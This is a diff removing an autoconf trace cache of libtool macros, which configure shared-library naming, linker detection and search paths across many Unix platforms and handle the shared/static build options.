- dynamic_linker="$host_os dld.so"
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- if test "X$HPUX_IA64_MODE" = X32; then
- sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib"
- else
- sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64"
- fi
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- hppa*64*)
- shrext_cmds='.sl'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64"
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- *)
- shrext_cmds='.sl'
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=SHLIB_PATH
- shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
- esac
- # HP-UX runs *really* slowly unless shared libraries are mode 555.
- postinstall_cmds='chmod 555 $lib'
- ;;
-
-interix3*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
-
-irix5* | irix6* | nonstopux*)
- case $host_os in
- nonstopux*) version_type=nonstopux ;;
- *)
- if test "$lt_cv_prog_gnu_ld" = yes; then
- version_type=linux
- else
- version_type=irix
- fi ;;
- esac
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}'
- case $host_os in
- irix5* | nonstopux*)
- libsuff= shlibsuff=
- ;;
- *)
- case $LD in # libtool.m4 will add one of these switches to LD
- *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ")
- libsuff= shlibsuff= libmagic=32-bit;;
- *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ")
- libsuff=32 shlibsuff=N32 libmagic=N32;;
- *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ")
- libsuff=64 shlibsuff=64 libmagic=64-bit;;
- *) libsuff= shlibsuff= libmagic=never-match;;
- esac
- ;;
- esac
- shlibpath_var=LD_LIBRARY${shlibsuff}_PATH
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}"
- sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}"
- hardcode_into_libs=yes
- ;;
-
-# No shared lib support for Linux oldld, aout, or coff.
-linux*oldld* | linux*aout* | linux*coff*)
- dynamic_linker=no
- ;;
-
-# This must be Linux ELF.
-linux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- # This implies no fast_install, which is unacceptable.
- # Some rework will be needed to allow for fast_install
- # before this can be enabled.
- hardcode_into_libs=yes
-
- # Append ld.so.conf contents to the search path
- if test -f /etc/ld.so.conf; then
- lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s", \[$]2)); skip = 1; } { if (!skip) print \[$]0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;s/[:, ]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
- sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
- fi
-
- # We used to test for /lib/ld.so.1 and disable shared libraries on
- # powerpc, because MkLinux only supported shared libraries with the
- # GNU dynamic linker. Since this was broken with cross compilers,
- # most powerpc-linux boxes support dynamic linking these days and
- # people can always --disable-shared, the test was removed, and we
- # assume the GNU/Linux dynamic linker is in use.
- dynamic_linker='GNU/Linux ld.so'
- ;;
-
-knetbsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-netbsd*)
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- dynamic_linker='NetBSD (a.out) ld.so'
- else
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='NetBSD ld.elf_so'
- fi
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
-
-newsos6)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-nto-qnx*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-openbsd*)
- version_type=sunos
- sys_lib_dlsearch_path_spec="/usr/lib"
- need_lib_prefix=no
- # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs.
- case $host_os in
- openbsd3.3 | openbsd3.3.*) need_version=yes ;;
- *) need_version=no ;;
- esac
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- case $host_os in
- openbsd2.[[89]] | openbsd2.[[89]].*)
- shlibpath_overrides_runpath=no
- ;;
- *)
- shlibpath_overrides_runpath=yes
- ;;
- esac
- else
- shlibpath_overrides_runpath=yes
- fi
- ;;
-
-os2*)
- libname_spec='$name'
- shrext_cmds=".dll"
- need_lib_prefix=no
- library_names_spec='$libname${shared_ext} $libname.a'
- dynamic_linker='OS/2 ld.exe'
- shlibpath_var=LIBPATH
- ;;
-
-osf3* | osf4* | osf5*)
- version_type=osf
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib"
- sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec"
- ;;
-
-solaris*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- # ldd complains unless libraries are executable
- postinstall_cmds='chmod +x $lib'
- ;;
-
-sunos4*)
- version_type=sunos
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- if test "$with_gnu_ld" = yes; then
- need_lib_prefix=no
- fi
- need_version=yes
- ;;
-
-sysv4 | sysv4.3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- case $host_vendor in
- sni)
- shlibpath_overrides_runpath=no
- need_lib_prefix=no
- export_dynamic_flag_spec='${wl}-Blargedynsym'
- runpath_var=LD_RUN_PATH
- ;;
- siemens)
- need_lib_prefix=no
- ;;
- motorola)
- need_lib_prefix=no
- need_version=no
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib'
- ;;
- esac
- ;;
-
-sysv4*MP*)
- if test -d /usr/nec ;then
- version_type=linux
- library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}'
- soname_spec='$libname${shared_ext}.$major'
- shlibpath_var=LD_LIBRARY_PATH
- fi
- ;;
-
-sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
- version_type=freebsd-elf
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- if test "$with_gnu_ld" = yes; then
- sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib'
- shlibpath_overrides_runpath=no
- else
- sys_lib_search_path_spec='/usr/ccs/lib /usr/lib'
- shlibpath_overrides_runpath=yes
- case $host_os in
- sco3.2v5*)
- sys_lib_search_path_spec="$sys_lib_search_path_spec /lib"
- ;;
- esac
- fi
- sys_lib_dlsearch_path_spec='/usr/lib'
- ;;
-
-uts4*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-*)
- dynamic_linker=no
- ;;
-esac
-AC_MSG_RESULT([$dynamic_linker])
-test "$dynamic_linker" = no && can_build_shared=no
-
-variables_saved_for_relink="PATH $shlibpath_var $runpath_var"
-if test "$GCC" = yes; then
- variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH"
-fi
-])
-m4trace:acinclude.m4:2391: -1- AC_DEFUN([_LT_AC_TAGCONFIG], [AC_ARG_WITH([tags],
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-
-if test -f "$ltmain" && test -n "$tagnames"; then
- if test ! -f "${ofile}"; then
- AC_MSG_WARN([output file `$ofile' does not exist])
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-
- if test -z "$LTCC"; then
- eval "`$SHELL ${ofile} --config | grep '^LTCC='`"
- if test -z "$LTCC"; then
- AC_MSG_WARN([output file `$ofile' does not look like a libtool script])
- else
- AC_MSG_WARN([using `LTCC=$LTCC', extracted from `$ofile'])
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- if test -z "$LTCFLAGS"; then
- eval "`$SHELL ${ofile} --config | grep '^LTCFLAGS='`"
- fi
-
- # Extract list of available tagged configurations in $ofile.
- # Note that this assumes the entire list is on one line.
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-
- lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
- for tagname in $tagnames; do
- IFS="$lt_save_ifs"
- # Check whether tagname contains only valid characters
- case `$echo "X$tagname" | $Xsed -e 's:[[-_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890,/]]::g'` in
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- *) AC_MSG_ERROR([invalid tag name: $tagname])
- ;;
- esac
-
- if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$" < "${ofile}" > /dev/null
- then
- AC_MSG_ERROR([tag name \"$tagname\" already exists])
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- # Update the list of available tags.
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-
- case $tagname in
- CXX)
- if test -n "$CXX" && ( test "X$CXX" != "Xno" &&
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- (test "X$CXX" != "Xg++"))) ; then
- AC_LIBTOOL_LANG_CXX_CONFIG
- else
- tagname=""
- fi
- ;;
-
- F77)
- if test -n "$F77" && test "X$F77" != "Xno"; then
- AC_LIBTOOL_LANG_F77_CONFIG
- else
- tagname=""
- fi
- ;;
-
- GCJ)
- if test -n "$GCJ" && test "X$GCJ" != "Xno"; then
- AC_LIBTOOL_LANG_GCJ_CONFIG
- else
- tagname=""
- fi
- ;;
-
- RC)
- AC_LIBTOOL_LANG_RC_CONFIG
- ;;
-
- *)
- AC_MSG_ERROR([Unsupported tag name: $tagname])
- ;;
- esac
-
- # Append the new tag name to the list of available tags.
- if test -n "$tagname" ; then
- available_tags="$available_tags $tagname"
- fi
- fi
- done
- IFS="$lt_save_ifs"
-
- # Now substitute the updated list of available tags.
- if eval "sed -e 's/^available_tags=.*\$/available_tags=\"$available_tags\"/' \"$ofile\" > \"${ofile}T\""; then
- mv "${ofile}T" "$ofile"
- chmod +x "$ofile"
- else
- rm -f "${ofile}T"
- AC_MSG_ERROR([unable to update list of available tagged configurations.])
- fi
-fi
-])
-m4trace:acinclude.m4:2496: -1- AC_DEFUN([AC_LIBTOOL_DLOPEN], [AC_BEFORE([$0],[AC_LIBTOOL_SETUP])
-])
-m4trace:acinclude.m4:2504: -1- AC_DEFUN([AC_LIBTOOL_WIN32_DLL], [AC_BEFORE([$0], [AC_LIBTOOL_SETUP])
-])
-m4trace:acinclude.m4:2513: -1- AC_DEFUN([AC_ENABLE_SHARED], [define([AC_ENABLE_SHARED_DEFAULT], ifelse($1, no, no, yes))dnl
-AC_ARG_ENABLE([shared],
- [AC_HELP_STRING([--enable-shared@<:@=PKGS@:>@],
- [build shared libraries @<:@default=]AC_ENABLE_SHARED_DEFAULT[@:>@])],
- [p=${PACKAGE-default}
- case $enableval in
- yes) enable_shared=yes ;;
- no) enable_shared=no ;;
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- enable_shared=no
- # Look at the argument we got. We use all the common list separators.
- lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
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- IFS="$lt_save_ifs"
- if test "X$pkg" = "X$p"; then
- enable_shared=yes
- fi
- done
- IFS="$lt_save_ifs"
- ;;
- esac],
- [enable_shared=]AC_ENABLE_SHARED_DEFAULT)
-])
-m4trace:acinclude.m4:2542: -1- AC_DEFUN([AC_DISABLE_SHARED], [AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl
-AC_ENABLE_SHARED(no)
-])
-m4trace:acinclude.m4:2552: -1- AC_DEFUN([AC_ENABLE_STATIC], [define([AC_ENABLE_STATIC_DEFAULT], ifelse($1, no, no, yes))dnl
-AC_ARG_ENABLE([static],
- [AC_HELP_STRING([--enable-static@<:@=PKGS@:>@],
- [build static libraries @<:@default=]AC_ENABLE_STATIC_DEFAULT[@:>@])],
- [p=${PACKAGE-default}
- case $enableval in
- yes) enable_static=yes ;;
- no) enable_static=no ;;
- *)
- enable_static=no
- # Look at the argument we got. We use all the common list separators.
- lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
- for pkg in $enableval; do
- IFS="$lt_save_ifs"
- if test "X$pkg" = "X$p"; then
- enable_static=yes
- fi
- done
- IFS="$lt_save_ifs"
- ;;
- esac],
- [enable_static=]AC_ENABLE_STATIC_DEFAULT)
-])
-m4trace:acinclude.m4:2581: -1- AC_DEFUN([AC_DISABLE_STATIC], [AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl
-AC_ENABLE_STATIC(no)
-])
-m4trace:acinclude.m4:2591: -1- AC_DEFUN([AC_ENABLE_FAST_INSTALL], [define([AC_ENABLE_FAST_INSTALL_DEFAULT], ifelse($1, no, no, yes))dnl
-AC_ARG_ENABLE([fast-install],
- [AC_HELP_STRING([--enable-fast-install@<:@=PKGS@:>@],
- [optimize for fast installation @<:@default=]AC_ENABLE_FAST_INSTALL_DEFAULT[@:>@])],
- [p=${PACKAGE-default}
- case $enableval in
- yes) enable_fast_install=yes ;;
- no) enable_fast_install=no ;;
- *)
- enable_fast_install=no
- # Look at the argument we got. We use all the common list separators.
- lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
- for pkg in $enableval; do
- IFS="$lt_save_ifs"
- if test "X$pkg" = "X$p"; then
- enable_fast_install=yes
- fi
- done
- IFS="$lt_save_ifs"
- ;;
- esac],
- [enable_fast_install=]AC_ENABLE_FAST_INSTALL_DEFAULT)
-])
-m4trace:acinclude.m4:2620: -1- AC_DEFUN([AC_DISABLE_FAST_INSTALL], [AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl
-AC_ENABLE_FAST_INSTALL(no)
-])
-m4trace:acinclude.m4:2630: -1- AC_DEFUN([AC_LIBTOOL_PICMODE], [AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl
-pic_mode=ifelse($#,1,$1,default)
-])
-m4trace:acinclude.m4:2654: -1- AC_DEFUN([AC_PATH_TOOL_PREFIX], [AC_REQUIRE([AC_PROG_EGREP])dnl
-AC_MSG_CHECKING([for $1])
-AC_CACHE_VAL(lt_cv_path_MAGIC_CMD,
-[case $MAGIC_CMD in
-[[\\/*] | ?:[\\/]*])
- lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path.
- ;;
-*)
- lt_save_MAGIC_CMD="$MAGIC_CMD"
- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
-dnl $ac_dummy forces splitting on constant user-supplied paths.
-dnl POSIX.2 word splitting is done only on the output of word expansions,
-dnl not every word. This closes a longstanding sh security hole.
- ac_dummy="ifelse([$2], , $PATH, [$2])"
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- IFS="$lt_save_ifs"
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- if test -f $ac_dir/$1; then
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- MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
- if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null |
- $EGREP "$file_magic_regex" > /dev/null; then
- :
- else
- cat <<EOF 1>&2
-
-*** Warning: the command libtool uses to detect shared libraries,
-*** $file_magic_cmd, produces output that libtool cannot recognize.
-*** The result is that libtool may fail to recognize shared libraries
-*** as such. This will affect the creation of libtool libraries that
-*** depend on shared libraries, but programs linked with such libtool
-*** libraries will work regardless of this problem. Nevertheless, you
-*** may want to report the problem to your system manager and/or to
-*** bug-libtool@gnu.org
-
-EOF
- fi ;;
- esac
- fi
- break
- fi
- done
- IFS="$lt_save_ifs"
- MAGIC_CMD="$lt_save_MAGIC_CMD"
- ;;
-esac])
-MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
-if test -n "$MAGIC_CMD"; then
- AC_MSG_RESULT($MAGIC_CMD)
-else
- AC_MSG_RESULT(no)
-fi
-])
-m4trace:acinclude.m4:2717: -1- AC_DEFUN([AC_PATH_MAGIC], [AC_PATH_TOOL_PREFIX(${ac_tool_prefix}file, /usr/bin$PATH_SEPARATOR$PATH)
-if test -z "$lt_cv_path_MAGIC_CMD"; then
- if test -n "$ac_tool_prefix"; then
- AC_PATH_TOOL_PREFIX(file, /usr/bin$PATH_SEPARATOR$PATH)
- else
- MAGIC_CMD=:
- fi
-fi
-])
-m4trace:acinclude.m4:2732: -1- AC_DEFUN([AC_PROG_LD], [AC_ARG_WITH([gnu-ld],
- [AC_HELP_STRING([--with-gnu-ld],
- [assume the C compiler uses GNU ld @<:@default=no@:>@])],
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- [with_gnu_ld=no])
-AC_REQUIRE([LT_AC_PROG_SED])dnl
-AC_REQUIRE([AC_PROG_CC])dnl
-AC_REQUIRE([AC_CANONICAL_HOST])dnl
-AC_REQUIRE([AC_CANONICAL_BUILD])dnl
-ac_prog=ld
-if test "$GCC" = yes; then
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- AC_MSG_CHECKING([for ld used by $CC])
- case $host in
- *-*-mingw*)
- # gcc leaves a trailing carriage return which upsets mingw
- ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;;
- *)
- ac_prog=`($CC -print-prog-name=ld) 2>&5` ;;
- esac
- case $ac_prog in
- # Accept absolute paths.
- [[\\/]]* | ?:[[\\/]]*)
- re_direlt='/[[^/]][[^/]]*/\.\./'
- # Canonicalize the pathname of ld
- ac_prog=`echo $ac_prog| $SED 's%\\\\%/%g'`
- while echo $ac_prog | grep "$re_direlt" > /dev/null 2>&1; do
- ac_prog=`echo $ac_prog| $SED "s%$re_direlt%/%"`
- done
- test -z "$LD" && LD="$ac_prog"
- ;;
- "")
- # If it fails, then pretend we aren't using GCC.
- ac_prog=ld
- ;;
- *)
- # If it is relative, then search for the first ld in PATH.
- with_gnu_ld=unknown
- ;;
- esac
-elif test "$with_gnu_ld" = yes; then
- AC_MSG_CHECKING([for GNU ld])
-else
- AC_MSG_CHECKING([for non-GNU ld])
-fi
-AC_CACHE_VAL(lt_cv_path_LD,
-[if test -z "$LD"; then
- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
- for ac_dir in $PATH; do
- IFS="$lt_save_ifs"
- test -z "$ac_dir" && ac_dir=.
- if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then
- lt_cv_path_LD="$ac_dir/$ac_prog"
- # Check to see if the program is GNU ld. I'd rather use --version,
- # but apparently some variants of GNU ld only accept -v.
- # Break only if it was the GNU/non-GNU ld that we prefer.
- case `"$lt_cv_path_LD" -v 2>&1 </dev/null` in
- *GNU* | *'with BFD'*)
- test "$with_gnu_ld" != no && break
- ;;
- *)
- test "$with_gnu_ld" != yes && break
- ;;
- esac
- fi
- done
- IFS="$lt_save_ifs"
-else
- lt_cv_path_LD="$LD" # Let the user override the test with a path.
-fi])
-LD="$lt_cv_path_LD"
-if test -n "$LD"; then
- AC_MSG_RESULT($LD)
-else
- AC_MSG_RESULT(no)
-fi
-test -z "$LD" && AC_MSG_ERROR([no acceptable ld found in \$PATH])
-AC_PROG_LD_GNU
-])
-m4trace:acinclude.m4:2816: -1- AC_DEFUN([AC_PROG_LD_GNU], [AC_REQUIRE([AC_PROG_EGREP])dnl
-AC_CACHE_CHECK([if the linker ($LD) is GNU ld], lt_cv_prog_gnu_ld,
-[# I'd rather use --version here, but apparently some GNU lds only accept -v.
-case `$LD -v 2>&1 </dev/null` in
-*GNU* | *'with BFD'*)
- lt_cv_prog_gnu_ld=yes
- ;;
-*)
- lt_cv_prog_gnu_ld=no
- ;;
-esac])
-with_gnu_ld=$lt_cv_prog_gnu_ld
-])
-m4trace:acinclude.m4:2836: -1- AC_DEFUN([AC_PROG_LD_RELOAD_FLAG], [AC_CACHE_CHECK([for $LD option to reload object files],
- lt_cv_ld_reload_flag,
- [lt_cv_ld_reload_flag='-r'])
-reload_flag=$lt_cv_ld_reload_flag
-case $reload_flag in
-"" | " "*) ;;
-*) reload_flag=" $reload_flag" ;;
-esac
-reload_cmds='$LD$reload_flag -o $output$reload_objs'
-case $host_os in
- darwin*)
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- else
- reload_cmds='$LD$reload_flag -o $output$reload_objs'
- fi
- ;;
-esac
-])
-m4trace:acinclude.m4:2862: -1- AC_DEFUN([AC_DEPLIBS_CHECK_METHOD], [AC_CACHE_CHECK([how to recognise dependent libraries],
-lt_cv_deplibs_check_method,
-[lt_cv_file_magic_cmd='$MAGIC_CMD'
-lt_cv_file_magic_test_file=
-lt_cv_deplibs_check_method='unknown'
-# Need to set the preceding variable on all platforms that support
-# interlibrary dependencies.
-# 'none' -- dependencies not supported.
-# `unknown' -- same as none, but documents that we really don't know.
-# 'pass_all' -- all dependencies passed with no checks.
-# 'test_compile' -- check by making test program.
-# 'file_magic [[regex]]' -- check by looking for files in library path
-# which responds to the $file_magic_cmd with a given extended regex.
-# If you have `file' or equivalent on your system and you're not sure
-# whether `pass_all' will *always* work, you probably want this one.
-
-case $host_os in
-aix4* | aix5*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-beos*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-bsdi[[45]]*)
- lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (shared object|dynamic lib)'
- lt_cv_file_magic_cmd='/usr/bin/file -L'
- lt_cv_file_magic_test_file=/shlib/libc.so
- ;;
-
-cygwin*)
- # func_win32_libid is a shell function defined in ltmain.sh
- lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
- lt_cv_file_magic_cmd='func_win32_libid'
- ;;
-
-mingw* | pw32*)
- # Base MSYS/MinGW do not provide the 'file' command needed by
- # func_win32_libid shell function, so use a weaker test based on 'objdump'.
- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
- lt_cv_file_magic_cmd='$OBJDUMP -f'
- ;;
-
-darwin* | rhapsody*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-freebsd* | kfreebsd*-gnu | dragonfly*)
- if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then
- case $host_cpu in
- i*86 )
- # Not sure whether the presence of OpenBSD here was a mistake.
- # Let's accept both of them until this is cleared up.
- lt_cv_deplibs_check_method='file_magic (FreeBSD|OpenBSD|DragonFly)/i[[3-9]]86 (compact )?demand paged shared library'
- lt_cv_file_magic_cmd=/usr/bin/file
- lt_cv_file_magic_test_file=`echo /usr/lib/libc.so.*`
- ;;
- esac
- else
- lt_cv_deplibs_check_method=pass_all
- fi
- ;;
-
-gnu*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-hpux10.20* | hpux11*)
- lt_cv_file_magic_cmd=/usr/bin/file
- case $host_cpu in
- ia64*)
- lt_cv_deplibs_check_method='file_magic (s[[0-9]][[0-9]][[0-9]]|ELF-[[0-9]][[0-9]]) shared object file - IA64'
- lt_cv_file_magic_test_file=/usr/lib/hpux32/libc.so
- ;;
- hppa*64*)
- [lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - PA-RISC [0-9].[0-9]']
- lt_cv_file_magic_test_file=/usr/lib/pa20_64/libc.sl
- ;;
- *)
- lt_cv_deplibs_check_method='file_magic (s[[0-9]][[0-9]][[0-9]]|PA-RISC[[0-9]].[[0-9]]) shared library'
- lt_cv_file_magic_test_file=/usr/lib/libc.sl
- ;;
- esac
- ;;
-
-interix3*)
- # PIC code is broken on Interix 3.x, that's why |\.a not |_pic\.a here
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- ;;
-
-irix5* | irix6* | nonstopux*)
- case $LD in
- *-32|*"-32 ") libmagic=32-bit;;
- *-n32|*"-n32 ") libmagic=N32;;
- *-64|*"-64 ") libmagic=64-bit;;
- *) libmagic=never-match;;
- esac
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-# This must be Linux ELF.
-linux*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then
- lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|_pic\.a)$'
- else
- lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so|_pic\.a)$'
- fi
- ;;
-
-newos6*)
- lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (executable|dynamic lib)'
- lt_cv_file_magic_cmd=/usr/bin/file
- lt_cv_file_magic_test_file=/usr/lib/libnls.so
- ;;
-
-nto-qnx*)
- lt_cv_deplibs_check_method=unknown
- ;;
-
-openbsd*)
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|\.so|_pic\.a)$'
- else
- lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|_pic\.a)$'
- fi
- ;;
-
-osf3* | osf4* | osf5*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-solaris*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-sysv4 | sysv4.3*)
- case $host_vendor in
- motorola)
- lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (shared object|dynamic lib) M[[0-9]][[0-9]]* Version [[0-9]]'
- lt_cv_file_magic_test_file=`echo /usr/lib/libc.so*`
- ;;
- ncr)
- lt_cv_deplibs_check_method=pass_all
- ;;
- sequent)
- lt_cv_file_magic_cmd='/bin/file'
- lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[LM]]SB (shared object|dynamic lib )'
- ;;
- sni)
- lt_cv_file_magic_cmd='/bin/file'
- lt_cv_deplibs_check_method="file_magic ELF [[0-9]][[0-9]]*-bit [[LM]]SB dynamic lib"
- lt_cv_file_magic_test_file=/lib/libc.so
- ;;
- siemens)
- lt_cv_deplibs_check_method=pass_all
- ;;
- pc)
- lt_cv_deplibs_check_method=pass_all
- ;;
- esac
- ;;
-
-sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-esac
